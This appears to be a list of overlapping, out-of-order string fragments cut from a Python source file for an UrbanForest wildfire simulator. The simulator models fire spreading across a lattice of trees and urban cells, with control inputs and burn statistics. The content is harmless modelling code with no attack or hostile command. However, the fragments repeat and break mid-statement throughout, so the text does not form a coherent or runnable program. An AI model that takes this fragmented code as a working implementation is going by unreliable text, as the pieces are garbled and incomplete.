"self.dims[1]: self.group[(r, c)].neighbors.append((r, c-1)) self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban",
"dense_state(self): \"\"\" Creates a representation of the state of each Tree. :return: 2D",
"rng=None, initial_fire=None, alpha=None, beta=None, tree_model='exponential'): # LatticeForest.__init__(self, dimension, rng=rng, initial_fire=initial_fire, # alpha=alpha, beta=beta,",
"return def _start_fire(self): \"\"\" Helper method to specify initial fire locations in the",
"Tree, SimpleUrban from simulators.Simulator import Simulator class UrbanForest(Simulator): \"\"\" A simulator for a",
"self.fires: for fn in self.group[f].neighbors: if fn not in checked and self.group[fn].is_healthy(self.group[fn].state): if",
"# retain elements that are still on fire self.fires = [f for f",
"LatticeForest simulator. \"\"\" def __init__(self, dimension, urban_width, rng=None, initial_fire=None, alpha=None, beta=None, tree_model='exponential'): #",
"self.fires.extend(add) for a in add: if isinstance(self.group[a], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] +=",
"on the LatticeForest simulator. \"\"\" def __init__(self, dimension, urban_width, rng=None, initial_fire=None, alpha=None, beta=None,",
"map (row, col) to control for each Element, which is a tuple of",
"[] for u in self.urban: if self.group[u].is_healthy(self.group[u].state): self.group[u].next(self.group, control[u], self.random_state) if self.group[u].is_removed(self.group[u].next_state): self.stats_urban[0]",
"+= 1 # apply next state to all elements for element in self.group.values():",
"in self.group.values(): element.update() # retain elements that are still on fire self.fires =",
"deltas: r, c = r_center+dr, c_center+dc self.fires.append((r, c)) self.group[(r, c)].set_on_fire() if isinstance(self.group[(r, c)],",
"# which occurs when no healthy Trees have a neighbor that is on",
"+= 1 elif isinstance(self.group[f], SimpleUrban): self.stats_urban[1] -= 1 self.stats_urban[2] += 1 # apply",
"c-1)) self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0]",
"in range(-1, 3)] deltas = itertools.product(delta_r, delta_c) for (dr, dc) in deltas: r,",
"in the forest. \"\"\" # apply initial condition if specified if self.initial_fire is",
"(row, col) positions corresponding to healthy elements that have been sampled to determine",
"healthy elements that have been sampled to determine # if they will catch",
"size is too small, start a single fire at the center r_center =",
"col) corresponds to a Tree state \"\"\" return np.array([[self.group[(r, c)].state for c in",
"as np from simulators.fires.ForestElements import Tree, SimpleUrban from simulators.Simulator import Simulator class UrbanForest(Simulator):",
"simulation object to its initial configuration. \"\"\" # reset statistics self.stats_trees = np.zeros(3).astype(np.int)",
"for element in self.group.values(): element.reset() # reset to initial condition self.iter = 0",
"position (row, col) corresponds to a Tree state \"\"\" return np.array([[self.group[(r, c)].state for",
"u in self.urban: if self.group[u].is_healthy(self.group[u].state): self.group[u].next(self.group, control[u], self.random_state) if self.group[u].is_removed(self.group[u].next_state): self.stats_urban[0] -= 1",
"the healthy element catches on fire for f in self.fires: for fn in",
"self.fires = [f for f in self.fires if self.group[f].is_on_fire(self.group[f].state)] # add elements that",
"in self.group[f].neighbors: if fn not in checked and self.group[fn].is_healthy(self.group[fn].state): if isinstance(self.group[fn], SimpleUrban) and",
"that are still on fire self.fires = [f for f in self.fires if",
"next state for urban elements not on fire, in case they are removed",
"= rng self.random_state = np.random.RandomState(self.rng) self.urban = [] self.urban_width = urban_width # the",
"(0, 0)) # assume that the fire cannot spread further this step, #",
"<= r+1 < self.dims[0]: self.group[(r, c)].neighbors.append((r+1, c)) if 0 <= r-1 < self.dims[0]:",
"= SimpleUrban(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c) self.urban.append((r, c)) # all other",
"have a neighbor that is on fire self.early_end = True # list of",
"+= 1 elif isinstance(self.group[(r, c)], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 return",
"None: control = defaultdict(lambda: (0, 0)) # assume that the fire cannot spread",
"the lattice if c >= self.dims[1]-self.urban_width: self.group[(r, c)] = SimpleUrban(self.alpha[(r, c)], self.beta[(r, c)],",
"this step, # which occurs when no healthy Trees have a neighbor that",
"# list of (row, col) positions corresponding to healthy elements that have been",
"fire self.fires.extend(add) for a in add: if isinstance(self.group[a], Tree): self.stats_trees[0] -= 1 self.stats_trees[1]",
"self.stats_urban[1] -= 1 self.stats_urban[2] += 1 # apply next state to all elements",
"LatticeForest.__init__(self, dimension, rng=rng, initial_fire=initial_fire, # alpha=alpha, beta=beta, tree_model=tree_model) Simulator.__init__(self) self.dims = (dimension, dimension)",
"have been sampled to determine # if they will catch on fire checked",
"single fire at the center r_center = np.floor((self.dims[0]-1)/2).astype(np.uint8) c_center = np.floor((self.dims[1]-1)/2).astype(np.uint8) delta_r =",
"c]), numeric_id=r*self.dims[1]+c) self.urban.append((r, c)) # all other elements are trees else: self.group[(r, c)]",
"self.group[(r, c)].neighbors.append((r, c+1)) if 0 <= c-1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c-1)) self.stats_trees",
"\"\"\" return np.array([[self.group[(r, c)].state for c in range(self.dims[1])] for r in range(self.dims[0])]) def",
"in self.fires: for fn in self.group[f].neighbors: if fn not in checked and self.group[fn].is_healthy(self.group[fn].state):",
"start a single fire at the center r_center = np.floor((self.dims[0]-1)/2).astype(np.uint8) c_center = np.floor((self.dims[1]-1)/2).astype(np.uint8)",
"state for urban elements not on fire, in case they are removed from",
"step add = [] # list of (row, col) positions corresponding to healthy",
"1 elif isinstance(self.group[a], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 self.iter += 1",
"will extinguish this time step self.group[f].next(self.group, control[f], self.random_state) if self.group[f].is_burnt(self.group[f].next_state): if isinstance(self.group[f], Tree):",
"False return def dense_state(self): \"\"\" Creates a representation of the state of each",
"removed from the lattice do_not_check = [] for u in self.urban: if self.group[u].is_healthy(self.group[u].state):",
"self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # reset elements for",
"element catches on fire for f in self.fires: for fn in self.group[f].neighbors: if",
"elements are trees else: self.group[(r, c)] = Tree(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]),",
"all other elements are trees else: self.group[(r, c)] = Tree(self.alpha[(r, c)], self.beta[(r, c)],",
"self.group[fn].is_healthy(self.group[fn].state): if isinstance(self.group[fn], SimpleUrban) and fn in do_not_check: continue self.early_end = False #",
"self.random_state) if self.group[f].is_burnt(self.group[f].next_state): if isinstance(self.group[f], Tree): self.stats_trees[1] -= 1 self.stats_trees[2] += 1 elif",
"over current fires, find their neighbors that are healthy, and sample # to",
"is None: control = defaultdict(lambda: (0, 0)) # assume that the fire cannot",
"= defaultdict(lambda: 0.2763) if alpha is None else alpha elif tree_model == 'linear':",
"is None else beta self.rng = rng self.random_state = np.random.RandomState(self.rng) self.urban = []",
"= initial_fire self._start_fire() self.early_end = False self.end = False return def _start_fire(self): \"\"\"",
"list of (row, col) positions corresponding to elements caught on fire this time",
"all elements for element in self.group.values(): element.update() # retain elements that are still",
"(row, col) positions corresponding to elements caught on fire this time step add",
"[] self.urban_width = urban_width # the forest is a group of Trees and",
"= [] for u in self.urban: if self.group[u].is_healthy(self.group[u].state): self.group[u].next(self.group, control[u], self.random_state) if self.group[u].is_removed(self.group[u].next_state):",
"= [0] if self.dims[1]<4 else [k for k in range(-1, 3)] deltas =",
"elements compose the right-most edge of the lattice if c >= self.dims[1]-self.urban_width: self.group[(r,",
"determine # if they will catch on fire checked = [] # calculate",
"Tree(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c, model=tree_model) if 0 <= r+1 <",
"current fires, find their neighbors that are healthy, and sample # to determine",
"range(-1, 3)] delta_c = [0] if self.dims[1]<4 else [k for k in range(-1,",
"None else beta self.rng = rng self.random_state = np.random.RandomState(self.rng) self.urban = [] self.urban_width",
"a neighbor that is on fire self.early_end = True # list of (row,",
"A simulator for a lattice-based forest with urban elements. Based on the LatticeForest",
"Update the simulator one time step. :param control: collection to map (row, col)",
"np.exp(-1/10)) if beta is None else beta self.rng = rng self.random_state = np.random.RandomState(self.rng)",
"Creates a representation of the state of each Tree. :return: 2D numpy array",
"control[f], self.random_state) if self.group[f].is_burnt(self.group[f].next_state): if isinstance(self.group[f], Tree): self.stats_trees[1] -= 1 self.stats_trees[2] += 1",
"element on fire will extinguish this time step self.group[f].next(self.group, control[f], self.random_state) if self.group[f].is_burnt(self.group[f].next_state):",
"itertools.product(delta_r, delta_c) for (dr, dc) in deltas: r, c = r_center+dr, c_center+dc self.fires.append((r,",
"if self.group[f].is_burnt(self.group[f].next_state): if isinstance(self.group[f], Tree): self.stats_trees[1] -= 1 self.stats_trees[2] += 1 elif isinstance(self.group[f],",
"position=np.array([r, c]), numeric_id=r*self.dims[1]+c) self.urban.append((r, c)) # all other elements are trees else: self.group[(r,",
"the forest. \"\"\" # apply initial condition if specified if self.initial_fire is not",
"if 0 <= c+1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c+1)) if 0 <= c-1",
"np.random.RandomState(self.rng) self.urban = [] self.urban_width = urban_width # the forest is a group",
"self.initial_fire: self.group[p].set_on_fire() if isinstance(self.group[p], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[p],",
"None: self.fires = self.initial_fire for p in self.initial_fire: self.group[p].set_on_fire() if isinstance(self.group[p], Tree): self.stats_trees[0]",
"1 self.stats_urban[1] += 1 return def reset(self): \"\"\" Reset the simulation object to",
"(row, col) to control for each Element, which is a tuple of (delta_alpha,",
"when no healthy Trees have a neighbor that is on fire self.early_end =",
"SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 return # start a 4x4 square",
"condition self.iter = 0 self.fires = [] self._start_fire() self.random_state = np.random.RandomState(self.rng) self.end =",
"a single fire at the center r_center = np.floor((self.dims[0]-1)/2).astype(np.uint8) c_center = np.floor((self.dims[1]-1)/2).astype(np.uint8) delta_r",
"the state of each Tree. :return: 2D numpy array where each position (row,",
"to healthy elements that have been sampled to determine # if they will",
"= np.random.RandomState(self.rng) self.urban = [] self.urban_width = urban_width # the forest is a",
"next state self.group[fn].next(self.group, control[fn], self.random_state) if self.group[fn].is_on_fire(self.group[fn].next_state): add.append(fn) checked.append(fn) # determine if the",
"<= c+1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c+1)) if 0 <= c-1 < self.dims[1]:",
"'linear': self.alpha = defaultdict(lambda: 0.2) if alpha is None else alpha self.beta =",
"= np.floor((self.dims[1]-1)/2).astype(np.uint8) delta_r = [0] if self.dims[0]<4 else [k for k in range(-1,",
"self.group[u].next(self.group, control[u], self.random_state) if self.group[u].is_removed(self.group[u].next_state): self.stats_urban[0] -= 1 self.stats_urban[3] += 1 do_not_check.append(u) #",
"c)] = Tree(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c, model=tree_model) if 0 <=",
"elements self.group = dict() for r in range(self.dims[0]): for c in range(self.dims[1]): #",
"Reset the simulation object to its initial configuration. \"\"\" # reset statistics self.stats_trees",
"= 0 self.fires = [] self.initial_fire = initial_fire self._start_fire() self.early_end = False self.end",
"assume that the fire cannot spread further this step, # which occurs when",
"Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[(r, c)], SimpleUrban): self.stats_urban[0] -=",
"self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # start initial fire self.iter = 0",
"right-most edge of the lattice if c >= self.dims[1]-self.urban_width: self.group[(r, c)] = SimpleUrban(self.alpha[(r,",
"in range(self.dims[0])]) def update(self, control=None): \"\"\" Update the simulator one time step. :param",
"< self.dims[1]: self.group[(r, c)].neighbors.append((r, c+1)) if 0 <= c-1 < self.dims[1]: self.group[(r, c)].neighbors.append((r,",
"to map (row, col) to control for each Element, which is a tuple",
"catches on fire for f in self.fires: for fn in self.group[f].neighbors: if fn",
"continue self.early_end = False # calculate next state self.group[fn].next(self.group, control[fn], self.random_state) if self.group[fn].is_on_fire(self.group[fn].next_state):",
"-= 1 self.stats_urban[1] += 1 self.iter += 1 if not self.fires: self.early_end =",
"not None: self.fires = self.initial_fire for p in self.initial_fire: self.group[p].set_on_fire() if isinstance(self.group[p], Tree):",
"elements that are still on fire self.fires = [f for f in self.fires",
"to determine # if they will catch on fire checked = [] #",
"position=np.array([r, c]), numeric_id=r*self.dims[1]+c, model=tree_model) if 0 <= r+1 < self.dims[0]: self.group[(r, c)].neighbors.append((r+1, c))",
"def update(self, control=None): \"\"\" Update the simulator one time step. :param control: collection",
"-= 1 self.stats_urban[2] += 1 # apply next state to all elements for",
"1 elif isinstance(self.group[f], SimpleUrban): self.stats_urban[1] -= 1 self.stats_urban[2] += 1 # apply next",
"self.fires = [] self._start_fire() self.random_state = np.random.RandomState(self.rng) self.end = False self.early_end = False",
"dimension) if isinstance(dimension, int) else dimension if tree_model == 'exponential': self.alpha = defaultdict(lambda:",
"np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # start initial fire self.iter = 0 self.fires =",
"c_center = np.floor((self.dims[1]-1)/2).astype(np.uint8) delta_r = [0] if self.dims[0]<4 else [k for k in",
"step self.group[f].next(self.group, control[f], self.random_state) if self.group[f].is_burnt(self.group[f].next_state): if isinstance(self.group[f], Tree): self.stats_trees[1] -= 1 self.stats_trees[2]",
"# determine if the current element on fire will extinguish this time step",
"control[fn], self.random_state) if self.group[fn].is_on_fire(self.group[fn].next_state): add.append(fn) checked.append(fn) # determine if the current element on",
"\"\"\" Helper method to specify initial fire locations in the forest. \"\"\" #",
"delta_beta) \"\"\" if self.end: print(\"fire extinguished\") return if control is None: control =",
"tree_model=tree_model) Simulator.__init__(self) self.dims = (dimension, dimension) if isinstance(dimension, int) else dimension if tree_model",
"which is a tuple of (delta_alpha, delta_beta) \"\"\" if self.end: print(\"fire extinguished\") return",
"isinstance(self.group[(r, c)], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 return def reset(self): \"\"\"",
"self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c, model=tree_model) if 0 <= r+1 < self.dims[0]: self.group[(r,",
"else [k for k in range(-1, 3)] delta_c = [0] if self.dims[1]<4 else",
"range(self.dims[0])]) def update(self, control=None): \"\"\" Update the simulator one time step. :param control:",
"# all other elements are trees else: self.group[(r, c)] = Tree(self.alpha[(r, c)], self.beta[(r,",
"self.stats_trees[1] -= 1 self.stats_trees[2] += 1 elif isinstance(self.group[f], SimpleUrban): self.stats_urban[1] -= 1 self.stats_urban[2]",
"p in self.initial_fire: self.group[p].set_on_fire() if isinstance(self.group[p], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1",
"else alpha elif tree_model == 'linear': self.alpha = defaultdict(lambda: 0.2) if alpha is",
"c)] = SimpleUrban(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c) self.urban.append((r, c)) # all",
"in deltas: r, c = r_center+dr, c_center+dc self.fires.append((r, c)) self.group[(r, c)].set_on_fire() if isinstance(self.group[(r,",
"False return def _start_fire(self): \"\"\" Helper method to specify initial fire locations in",
"self.fires if self.group[f].is_on_fire(self.group[f].state)] # add elements that caught on fire self.fires.extend(add) for a",
"tree_model='exponential'): # LatticeForest.__init__(self, dimension, rng=rng, initial_fire=initial_fire, # alpha=alpha, beta=beta, tree_model=tree_model) Simulator.__init__(self) self.dims =",
"state to all elements for element in self.group.values(): element.update() # retain elements that",
"3)] delta_c = [0] if self.dims[1]<4 else [k for k in range(-1, 3)]",
"= [] self.initial_fire = initial_fire self._start_fire() self.early_end = False self.end = False return",
"for r in range(self.dims[0]): for c in range(self.dims[1]): # urban elements compose the",
"self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[(r, c)], SimpleUrban): self.stats_urban[0] -= 1",
"next state to all elements for element in self.group.values(): element.update() # retain elements",
"False # calculate next state self.group[fn].next(self.group, control[fn], self.random_state) if self.group[fn].is_on_fire(self.group[fn].next_state): add.append(fn) checked.append(fn) #",
"\"\"\" def __init__(self, dimension, urban_width, rng=None, initial_fire=None, alpha=None, beta=None, tree_model='exponential'): # LatticeForest.__init__(self, dimension,",
"for urban elements not on fire, in case they are removed from the",
"k in range(-1, 3)] deltas = itertools.product(delta_r, delta_c) for (dr, dc) in deltas:",
"< self.dims[0]: self.group[(r, c)].neighbors.append((r+1, c)) if 0 <= r-1 < self.dims[0]: self.group[(r, c)].neighbors.append((r-1,",
"c)].neighbors.append((r, c-1)) self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban = np.zeros(4).astype(np.int)",
"1 self.stats_trees[2] += 1 elif isinstance(self.group[f], SimpleUrban): self.stats_urban[1] -= 1 self.stats_urban[2] += 1",
"f in self.fires if self.group[f].is_on_fire(self.group[f].state)] # add elements that caught on fire self.fires.extend(add)",
"range(self.dims[0]): for c in range(self.dims[1]): # urban elements compose the right-most edge of",
"time step self.group[f].next(self.group, control[f], self.random_state) if self.group[f].is_burnt(self.group[f].next_state): if isinstance(self.group[f], Tree): self.stats_trees[1] -= 1",
"# the forest is a group of Trees and SimpleUrban elements self.group =",
"self.random_state) if self.group[fn].is_on_fire(self.group[fn].next_state): add.append(fn) checked.append(fn) # determine if the current element on fire",
"= [] # calculate next state for urban elements not on fire, in",
"r in range(self.dims[0])]) def update(self, control=None): \"\"\" Update the simulator one time step.",
"elements for element in self.group.values(): element.reset() # reset to initial condition self.iter =",
"elif isinstance(self.group[(r, c)], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 return def reset(self):",
"fire spreading check: # iterate over current fires, find their neighbors that are",
"urban_width # the forest is a group of Trees and SimpleUrban elements self.group",
"elif tree_model == 'linear': self.alpha = defaultdict(lambda: 0.2) if alpha is None else",
"self.early_end = False return def dense_state(self): \"\"\" Creates a representation of the state",
"-= 1 self.stats_urban[3] += 1 do_not_check.append(u) # fire spreading check: # iterate over",
"case they are removed from the lattice do_not_check = [] for u in",
"self.stats_urban[0] -= 1 self.stats_urban[1] += 1 return def reset(self): \"\"\" Reset the simulation",
"control for each Element, which is a tuple of (delta_alpha, delta_beta) \"\"\" if",
"occurs when no healthy Trees have a neighbor that is on fire self.early_end",
"\"\"\" Creates a representation of the state of each Tree. :return: 2D numpy",
"numpy array where each position (row, col) corresponds to a Tree state \"\"\"",
"defaultdict(lambda: np.exp(-1/10)) if beta is None else beta self.rng = rng self.random_state =",
"col) positions corresponding to elements caught on fire this time step add =",
"extinguished\") return if control is None: control = defaultdict(lambda: (0, 0)) # assume",
"[] self.initial_fire = initial_fire self._start_fire() self.early_end = False self.end = False return def",
"0 self.fires = [] self.initial_fire = initial_fire self._start_fire() self.early_end = False self.end =",
"element.update() # retain elements that are still on fire self.fires = [f for",
"isinstance(self.group[(r, c)], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[(r, c)], SimpleUrban):",
"def _start_fire(self): \"\"\" Helper method to specify initial fire locations in the forest.",
"< self.dims[1]: self.group[(r, c)].neighbors.append((r, c-1)) self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban)",
"self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] +=",
"np from simulators.fires.ForestElements import Tree, SimpleUrban from simulators.Simulator import Simulator class UrbanForest(Simulator): \"\"\"",
"Tree. :return: 2D numpy array where each position (row, col) corresponds to a",
"self.beta = defaultdict(lambda: np.exp(-1/10)) if beta is None else beta self.rng = rng",
"been sampled to determine # if they will catch on fire checked =",
"Trees have a neighbor that is on fire self.early_end = True # list",
"forest is a group of Trees and SimpleUrban elements self.group = dict() for",
"[] # list of (row, col) positions corresponding to healthy elements that have",
"if control is None: control = defaultdict(lambda: (0, 0)) # assume that the",
"fn not in checked and self.group[fn].is_healthy(self.group[fn].state): if isinstance(self.group[fn], SimpleUrban) and fn in do_not_check:",
"for k in range(-1, 3)] delta_c = [0] if self.dims[1]<4 else [k for",
"+= self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # reset elements",
"self._start_fire() self.random_state = np.random.RandomState(self.rng) self.end = False self.early_end = False return def dense_state(self):",
"fn in self.group[f].neighbors: if fn not in checked and self.group[fn].is_healthy(self.group[fn].state): if isinstance(self.group[fn], SimpleUrban)",
"fn in do_not_check: continue self.early_end = False # calculate next state self.group[fn].next(self.group, control[fn],",
"a 4x4 square of fires at center # if forest size is too",
"in range(self.dims[0]): for c in range(self.dims[1]): # urban elements compose the right-most edge",
"in range(-1, 3)] delta_c = [0] if self.dims[1]<4 else [k for k in",
"alpha self.beta = defaultdict(lambda: np.exp(-1/10)) if beta is None else beta self.rng =",
"the simulation object to its initial configuration. \"\"\" # reset statistics self.stats_trees =",
"configuration. \"\"\" # reset statistics self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban)",
"add = [] # list of (row, col) positions corresponding to healthy elements",
"elements. Based on the LatticeForest simulator. \"\"\" def __init__(self, dimension, urban_width, rng=None, initial_fire=None,",
"1 # apply next state to all elements for element in self.group.values(): element.update()",
":return: 2D numpy array where each position (row, col) corresponds to a Tree",
"center # if forest size is too small, start a single fire at",
"add: if isinstance(self.group[a], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[a], SimpleUrban):",
"= Tree(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c, model=tree_model) if 0 <= r+1",
":param control: collection to map (row, col) to control for each Element, which",
"that caught on fire self.fires.extend(add) for a in add: if isinstance(self.group[a], Tree): self.stats_trees[0]",
"array where each position (row, col) corresponds to a Tree state \"\"\" return",
"initial_fire=initial_fire, # alpha=alpha, beta=beta, tree_model=tree_model) Simulator.__init__(self) self.dims = (dimension, dimension) if isinstance(dimension, int)",
"c)].neighbors.append((r-1, c)) if 0 <= c+1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c+1)) if 0",
"self.stats_urban[1] += 1 return def reset(self): \"\"\" Reset the simulation object to its",
"+= 1 elif isinstance(self.group[a], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 self.iter +=",
"for f in self.fires if self.group[f].is_on_fire(self.group[f].state)] # add elements that caught on fire",
"= [] # list of (row, col) positions corresponding to healthy elements that",
"determine if the current element on fire will extinguish this time step self.group[f].next(self.group,",
"c)], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[(r, c)], SimpleUrban): self.stats_urban[0]",
"beta self.rng = rng self.random_state = np.random.RandomState(self.rng) self.urban = [] self.urban_width = urban_width",
"in self.group.values(): element.reset() # reset to initial condition self.iter = 0 self.fires =",
"tuple of (delta_alpha, delta_beta) \"\"\" if self.end: print(\"fire extinguished\") return if control is",
"urban elements. Based on the LatticeForest simulator. \"\"\" def __init__(self, dimension, urban_width, rng=None,",
"to specify initial fire locations in the forest. \"\"\" # apply initial condition",
"self.group.values(): element.reset() # reset to initial condition self.iter = 0 self.fires = []",
"<= r-1 < self.dims[0]: self.group[(r, c)].neighbors.append((r-1, c)) if 0 <= c+1 < self.dims[1]:",
"1 self.iter += 1 if not self.fires: self.early_end = True self.end = True",
"SimpleUrban elements self.group = dict() for r in range(self.dims[0]): for c in range(self.dims[1]):",
"caught on fire this time step add = [] # list of (row,",
"control[u], self.random_state) if self.group[u].is_removed(self.group[u].next_state): self.stats_urban[0] -= 1 self.stats_urban[3] += 1 do_not_check.append(u) # fire",
"= False self.end = False return def _start_fire(self): \"\"\" Helper method to specify",
"fire self.fires = [f for f in self.fires if self.group[f].is_on_fire(self.group[f].state)] # add elements",
"self.early_end = True # list of (row, col) positions corresponding to elements caught",
"False self.end = False return def _start_fire(self): \"\"\" Helper method to specify initial",
"on fire this time step add = [] # list of (row, col)",
"True # list of (row, col) positions corresponding to elements caught on fire",
"SimpleUrban(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c) self.urban.append((r, c)) # all other elements",
"Based on the LatticeForest simulator. \"\"\" def __init__(self, dimension, urban_width, rng=None, initial_fire=None, alpha=None,",
"len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # reset elements for element in",
"collections import defaultdict import itertools import numpy as np from simulators.fires.ForestElements import Tree,",
"\"\"\" A simulator for a lattice-based forest with urban elements. Based on the",
"if alpha is None else alpha self.beta = defaultdict(lambda: np.exp(-1/10)) if beta is",
"fire will extinguish this time step self.group[f].next(self.group, control[f], self.random_state) if self.group[f].is_burnt(self.group[f].next_state): if isinstance(self.group[f],",
"import defaultdict import itertools import numpy as np from simulators.fires.ForestElements import Tree, SimpleUrban",
"(dr, dc) in deltas: r, c = r_center+dr, c_center+dc self.fires.append((r, c)) self.group[(r, c)].set_on_fire()",
"checked and self.group[fn].is_healthy(self.group[fn].state): if isinstance(self.group[fn], SimpleUrban) and fn in do_not_check: continue self.early_end =",
"self.early_end = False # calculate next state self.group[fn].next(self.group, control[fn], self.random_state) if self.group[fn].is_on_fire(self.group[fn].next_state): add.append(fn)",
"fire for f in self.fires: for fn in self.group[f].neighbors: if fn not in",
"calculate next state self.group[fn].next(self.group, control[fn], self.random_state) if self.group[fn].is_on_fire(self.group[fn].next_state): add.append(fn) checked.append(fn) # determine if",
"= dict() for r in range(self.dims[0]): for c in range(self.dims[1]): # urban elements",
"one time step. :param control: collection to map (row, col) to control for",
"self.stats_urban[2] += 1 # apply next state to all elements for element in",
"healthy element catches on fire for f in self.fires: for fn in self.group[f].neighbors:",
"Simulator.__init__(self) self.dims = (dimension, dimension) if isinstance(dimension, int) else dimension if tree_model ==",
"c-1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c-1)) self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] -",
"self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # start",
"if specified if self.initial_fire is not None: self.fires = self.initial_fire for p in",
"each Tree. :return: 2D numpy array where each position (row, col) corresponds to",
"will catch on fire checked = [] # calculate next state for urban",
"sample # to determine if the healthy element catches on fire for f",
"if tree_model == 'exponential': self.alpha = defaultdict(lambda: 0.2763) if alpha is None else",
"delta_c) for (dr, dc) in deltas: r, c = r_center+dr, c_center+dc self.fires.append((r, c))",
"Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[p], SimpleUrban): self.stats_urban[0] -= 1",
"= defaultdict(lambda: (0, 0)) # assume that the fire cannot spread further this",
"checked = [] # calculate next state for urban elements not on fire,",
"is None else alpha self.beta = defaultdict(lambda: np.exp(-1/10)) if beta is None else",
"to a Tree state \"\"\" return np.array([[self.group[(r, c)].state for c in range(self.dims[1])] for",
"of (row, col) positions corresponding to healthy elements that have been sampled to",
"on fire, in case they are removed from the lattice do_not_check = []",
"beta=beta, tree_model=tree_model) Simulator.__init__(self) self.dims = (dimension, dimension) if isinstance(dimension, int) else dimension if",
"urban elements not on fire, in case they are removed from the lattice",
"# apply initial condition if specified if self.initial_fire is not None: self.fires =",
"self.stats_trees[1] += 1 elif isinstance(self.group[(r, c)], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1",
"if self.end: print(\"fire extinguished\") return if control is None: control = defaultdict(lambda: (0,",
"self.urban_width = urban_width # the forest is a group of Trees and SimpleUrban",
"defaultdict(lambda: (0, 0)) # assume that the fire cannot spread further this step,",
"k in range(-1, 3)] delta_c = [0] if self.dims[1]<4 else [k for k",
"r_center = np.floor((self.dims[0]-1)/2).astype(np.uint8) c_center = np.floor((self.dims[1]-1)/2).astype(np.uint8) delta_r = [0] if self.dims[0]<4 else [k",
"[k for k in range(-1, 3)] deltas = itertools.product(delta_r, delta_c) for (dr, dc)",
"self.initial_fire = initial_fire self._start_fire() self.early_end = False self.end = False return def _start_fire(self):",
"0)) # assume that the fire cannot spread further this step, # which",
"for element in self.group.values(): element.update() # retain elements that are still on fire",
"self.rng = rng self.random_state = np.random.RandomState(self.rng) self.urban = [] self.urban_width = urban_width #",
"self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[p], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1]",
"tree_model == 'exponential': self.alpha = defaultdict(lambda: 0.2763) if alpha is None else alpha",
"this time step add = [] # list of (row, col) positions corresponding",
"col) positions corresponding to healthy elements that have been sampled to determine #",
"on fire self.early_end = True # list of (row, col) positions corresponding to",
"\"\"\" if self.end: print(\"fire extinguished\") return if control is None: control = defaultdict(lambda:",
"are trees else: self.group[(r, c)] = Tree(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c,",
"self.group = dict() for r in range(self.dims[0]): for c in range(self.dims[1]): # urban",
"isinstance(self.group[p], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 return # start a 4x4",
"specified if self.initial_fire is not None: self.fires = self.initial_fire for p in self.initial_fire:",
"1 elif isinstance(self.group[p], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 return # start",
"[f for f in self.fires if self.group[f].is_on_fire(self.group[f].state)] # add elements that caught on",
"forest size is too small, start a single fire at the center r_center",
